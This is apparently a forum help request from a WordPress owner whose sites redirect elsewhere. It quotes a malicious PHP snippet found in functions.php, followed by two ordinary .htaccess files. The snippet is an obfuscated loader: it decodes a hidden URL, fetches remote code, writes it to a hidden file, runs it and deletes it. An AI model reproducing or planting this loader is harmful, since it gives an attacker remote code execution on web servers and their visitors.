I have couple of wordpress site hosted on shared server, both of the site facing the same issue both of them get redirected to some other site whenever accessed, i found the redirection script in function.php,
and comment on a post. The script that i found in function.php was

```
@ini_set('display_errors', '0');
error_reporting(0);
global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {

    $ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrK42MQsM7IlQPPeZfl3OdrpdmmSLH6uToRkH";

if (!function_exists('get_data_ya')) {
    if (ini_get('allow_url_fopen')) {
        function get_data_ya($m) {
            $data = file_get_contents($m);
            return $data;
        }
    }
    else {
        function get_data_ya($m) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $m);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
    }
}

if (!function_exists('wp_cd')) {
        function wp_cd($fd, $fa="") {
            $fe = "wp_frmfunct";
            $len = strlen($fd);
            $ff = '';
            $n = $len>100 ? 8 : 2;
            while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); }
            return $fd^$ff;
       }
}

    $reqw = $ay($ao($oa("$pass"), 'wp_function'));
    preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
    $dirs = glob("*", GLOB_ONLYDIR);
    foreach ($dirs as $dira) {
      if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
      $subdirs = glob("$dira/*", GLOB_ONLYDIR);
      foreach ($subdirs as $subdira) {
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
      }
    }
    if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
    fwrite($hdl, "<?php\n$mtchs[1]\n?>");
    fclose($hdl);
    include("{$eb}.$algo");
    unlink("{$eb}.$algo");
    $npDcheckClassBgp = 'aue';

    $zeeta = "yup";

    }

```

i have two files in one of the website .htaccess.k and other is .htaccess

.htaccess.k have following code

```
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

```

and .htaccess file have

```

# BEGIN WordPress
# The directives (lines) between "BEGIN WordPress" and "END WordPress" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

```

i swiped up the entire website and wordpress file i scanned for the malware but nothing found still facing the issue please help.